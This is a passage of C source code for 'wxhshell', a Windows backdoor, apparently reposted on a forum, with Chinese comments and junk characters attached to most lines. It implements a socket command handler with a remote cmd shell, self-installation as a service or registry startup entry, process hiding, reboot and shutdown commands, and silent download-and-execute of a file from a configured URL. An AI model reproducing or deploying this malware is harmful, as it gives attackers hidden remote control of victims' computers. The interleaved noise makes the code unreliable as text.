  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5@\<:Zmi  
  } lC{m;V2  
  else { 57rP@,vj  
*{Vyt5  
    switch(cmd[0]) { A,@"(3  
  /);6 j,x  
  // 帮助 {Gy_QRsp,  
  case '?': { 1l{n`gR  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z841g `:C  
    break; XCY4[2*a>  
  } I;LqyzM  
  // 安装 4l:+>U@KU  
  case 'i': { 5sRNqTIr  
    if(Install()) ?/D#ql7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,KWeW^z'7  
    else [;}c@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?Eed#pb_  
    break; ?IWS  
    } w*x}4wW  
  // 卸载 1k`!w}  
  case 'r': { ?*HlAVDcFT  
    if(Uninstall()) Oi RqqD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i "xq SLf=  
    else O`4X[r1LD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6gn|WO=W f  
    break; mvnK)R_  
    } !G37K8 &&*  
  // 显示 wxhshell 所在路径 gKnAw+u\  
  case 'p': { _*_zyWW_j  
    char svExeFile[MAX_PATH]; YN^8s  
    strcpy(svExeFile,"\n\r"); j"]%6RwM]  
      strcat(svExeFile,ExeFile); V=U%P[S  
        send(wsh,svExeFile,strlen(svExeFile),0); Aka`L:k  
    break; $J+$ 8pA  
    } mDhU wZH  
  // 重启 :Wln$L$  
  case 'b': { =KMck=#B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3)sqAs(  
    if(Boot(REBOOT)) 9;jfg|x1[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UqH7ec  
    else { LcXrD+ 1  
    closesocket(wsh); $%<gp@Gz  
    ExitThread(0); H!N,PI?rn  
    } 3!I8J:GZ:  
    break; mdwY48b  
    } '5IJ;4k  
  // 关机 "o`( kYSF  
  case 'd': { {u7E)Fdl  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p[RD[&#b  
    if(Boot(SHUTDOWN)) B{Rig5Sc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iJcl0)|  
    else { rW6LMkt72  
    closesocket(wsh); =1D*K%  
    ExitThread(0); y]k`}&-~  
    } p"ZPv~("V  
    break; DwI)?a_+  
    } 6*%lnd+_  
  // 获取shell D:f#  
  case 's': { HHdc[pJ0D  
    CmdShell(wsh); ]l4\/E W6  
    closesocket(wsh); ,YH.n>`s+  
    ExitThread(0); R!`#pklB  
    break; 9P]TIV.  
  } .Xr_BJ _  
  // 退出 {\k9%2V*+  
  case 'x': { Mc.KLz&,FC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~"(1~7_  
    CloseIt(wsh); u%2u%-w  
    break; Y?> S.B7  
    } dJkT Hmw  
  // 离开 :=* -x  
  case 'q': { 4h|D[Cb]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R,(^fM  
    closesocket(wsh); !R-UL#w9W'  
    WSACleanup(); BR|dW4\  
    exit(1); ~{HA!C#  
    break; oY{*X6:6<  
        } o)NWsUXf  
  } {KR/ TQ?A  
  } Z-WWp#b  
q,2 @X~T  
  // 提示信息 x9uA@$l^|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  iGR(  
} bf3)^ 49}  
  } 4>(?R[:p)  
#df Aqg'  
  return; 371E S4  
} &c A?|(7-  
u*"tZ+|m  
// shell模块句柄 yfV{2[8ux  
int CmdShell(SOCKET sock) s4w<X}O_  
{ Q_ $AGF  
STARTUPINFO si; hcej?W8j  
ZeroMemory(&si,sizeof(si)); :QN,T3i'/3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \4V'NTjB  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; GU!|J71z  
PROCESS_INFORMATION ProcessInfo; am`eist:  
char cmdline[]="cmd"; J9 /w_,,R$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); f}*Xz.[bCp  
  return 0; iud%X51  
} 9~N7hLT  
%e _WO,R  
// 自身启动模式 U9Y'eP.2  
int StartFromService(void) u+{5c5_  
{ r,F'Jd5  
typedef struct (33[N  
{ u{J:wb  
  DWORD ExitStatus; ) m?oQ#`m  
  DWORD PebBaseAddress; qlSMg;"Ghw  
  DWORD AffinityMask; ^y&l!,(A   
  DWORD BasePriority; ZgN*m\l  
  ULONG UniqueProcessId; `9@!"p f  
  ULONG InheritedFromUniqueProcessId; LV`- eW  
}   PROCESS_BASIC_INFORMATION; E]Kd`&^}  
JG4Tb{F=  
PROCNTQSIP NtQueryInformationProcess; T `N(=T^*  
Xa-]+_?Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )U8F6GIC&}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |]Ockg[  
b%AYYk)d?  
  HANDLE             hProcess; X!r!lW  
  PROCESS_BASIC_INFORMATION pbi; enZW2o97c  
h4sEH  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  xU)~)eK  
  if(NULL == hInst ) return 0; P||u{]vU  
>GqIpfn  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9;.dNdg>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ey)ox$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !m78/[LW  
k~Gjfo  
  if (!NtQueryInformationProcess) return 0; WMrK8e'  
28zt.9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d d8^V_Kx  
  if(!hProcess) return 0; 5C/u`{4]Hg  
F*} b),  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3<B{-z  
yl|+D]  
  CloseHandle(hProcess); bvZmo zbD  
}Dk_gom_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^ .>)*P  
if(hProcess==NULL) return 0; %Sj;:LC  
?jy^WF`  
HMODULE hMod; ^fH]Rlx  
char procName[255]; ]kc]YO7i%R  
unsigned long cbNeeded; V5R``T p  
\\)3:1X  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6VRVk7"  
] 5c|  
  CloseHandle(hProcess); gn7pIoN  
76xgExOU?C  
if(strstr(procName,"services")) return 1; // 以服务启动 =yk#z84<  
tWD*uA b  
  return 0; // 注册表启动 V.;0F%zks5  
} `Q}.9s_ri  
QTM+ WD  
// 主模块 ;sb0,2YyP  
int StartWxhshell(LPSTR lpCmdLine) URY%+u  
{ 8&H1w9NrX_  
  SOCKET wsl; Xig%Q~oMp  
BOOL val=TRUE; bSBI[S  
  int port=0; ,1QU  
  struct sockaddr_in door; Z$Qlr:7  
wHdq:,0-!  
  if(wscfg.ws_autoins) Install(); 0W#.$X5  
W&6ye  
port=atoi(lpCmdLine); @zSoPDYv,  
H`m| R  
if(port<=0) port=wscfg.ws_port; dc"Vc 3)  
Onby=Y o6  
  WSADATA data; DH @*Oz-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L<J%IlcfO  
.GLotc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {P(IA2J'S  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v||8Q\d  
  door.sin_family = AF_INET; (eG#JVsm9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [K%J t  
  door.sin_port = htons(port); [JsQ/|=z  
lLo FM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XgU]Ktl  
closesocket(wsl); 2= u5N[*  
return 1; 4d[:{/+Q  
} h?fv:^vSi  
i5V ly'Q  
  if(listen(wsl,2) == INVALID_SOCKET) { H|==i2V{  
closesocket(wsl); ]'M Ly#9  
return 1; Va?wG3w  
} znX2W0V  
  Wxhshell(wsl); L<5go\!bV  
  WSACleanup(); CQ6Z[hLWF  
k2p{<SO;  
return 0; GXJJOy1"!  
P7<~S8)Y  
} zLC\Rc4  
)=ZWn,ZB  
// 以NT服务方式启动 xs+MvXTC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) : !J!l u  
{ kQwBrb 4  
DWORD   status = 0; WRL &tz  
  DWORD   specificError = 0xfffffff; #W'jNX,h  
>=[w{Vn'Mf  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,]1K^UeZ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !dStl:B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3x.|g   
  serviceStatus.dwWin32ExitCode     = 0; jcv3ES^  
  serviceStatus.dwServiceSpecificExitCode = 0; \*1pFX#  
  serviceStatus.dwCheckPoint       = 0; EivZI<<a  
  serviceStatus.dwWaitHint       = 0; M*{ EK  
=)(sN"%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -.i1l/FzP  
  if (hServiceStatusHandle==0) return; \"5%w *vl  
_D[vMr[  
status = GetLastError(); d|w% F=  
  if (status!=NO_ERROR) T'0Ot3m`  
{ "~N#Jqzr:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @va)j   
    serviceStatus.dwCheckPoint       = 0; x}].lTjD  
    serviceStatus.dwWaitHint       = 0; I 4gyGg$H  
    serviceStatus.dwWin32ExitCode     = status; YjoN: z`b  
    serviceStatus.dwServiceSpecificExitCode = specificError; Of SYOL7o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); HmAA?J}  
    return; mS0*%[S {  
  } ?UQE;0 B  
,d@.@a] `  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >/eQjp?:  
  serviceStatus.dwCheckPoint       = 0; @ 4j#X  
  serviceStatus.dwWaitHint       = 0; {pm>F}Cwy  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I( G8cK  
} N@)tU;U3O  
^1Y0JQ  
// 处理NT服务事件,比如:启动、停止 sGc4^Z%l?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n\ZDI+X  
{ 9=K=gfZ  
switch(fdwControl) (]0ZxWF  
{ [#$z.BoEo  
case SERVICE_CONTROL_STOP: y!)Z ^u  
  serviceStatus.dwWin32ExitCode = 0; tAPqbi$a  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0r.*7aXu  
  serviceStatus.dwCheckPoint   = 0; DU|0#z=*t5  
  serviceStatus.dwWaitHint     = 0; A#f@0W:  
  { Tr-gdX ;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )1Z*kY?f!  
  } Z~9\7QJn  
  return; |*e >hk  
case SERVICE_CONTROL_PAUSE: OtrO"K  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^kzw/. I{  
  break; W,}HQ  
case SERVICE_CONTROL_CONTINUE: =;i@,{ ~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; CT6a  
  break; P}KyT?X:  
case SERVICE_CONTROL_INTERROGATE: 5kofO  
  break; oost}%WxN  
}; Sz.jv#Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =pF 6  
} LTm2B_+  
.UU BAyjm  
// 标准应用程序主函数 oZA?}#DRl  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) '/Hx0]V  
{ ix=HLF-0zC  
@c9VCG D  
// 获取操作系统版本 ezY _7  
OsIsNt=GetOsVer(); F9^8/Z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); N;9@-Tb  
wh<+.Zp  
  // 从命令行安装 R]0awV1b  
  if(strpbrk(lpCmdLine,"iI")) Install(); e3yBB*@  
w<lHY=z E  
  // 下载执行文件 3BDAvdJ4.  
if(wscfg.ws_downexe) { {r#2X1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e@Q<hb0<eU  
  WinExec(wscfg.ws_filenam,SW_HIDE); YrS%Yvhj0  
} 0-oR { {  
AL>*Vj2h/n  
if(!OsIsNt) { qHt!)j9GKv  
// 如果时win9x,隐藏进程并且设置为注册表启动 A<C`JN}  
HideProc(); :lcZ )6&S  
StartWxhshell(lpCmdLine); 9_n!.zA<  
} i<YatW~Pu  
else D ?1$I0=  
  if(StartFromService()) xVao3+r  
  // 以服务方式启动 \`-/\N  
  StartServiceCtrlDispatcher(DispatchTable); >sv|  
else -%I]Q9  
  // 普通方式启动 }:5AB93(  
  StartWxhshell(lpCmdLine); sZ/~pk  
eva-?+n\q  
return 0; q.`+d[Q2  
}
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只看该作者 1 发表于: 2006-10-10
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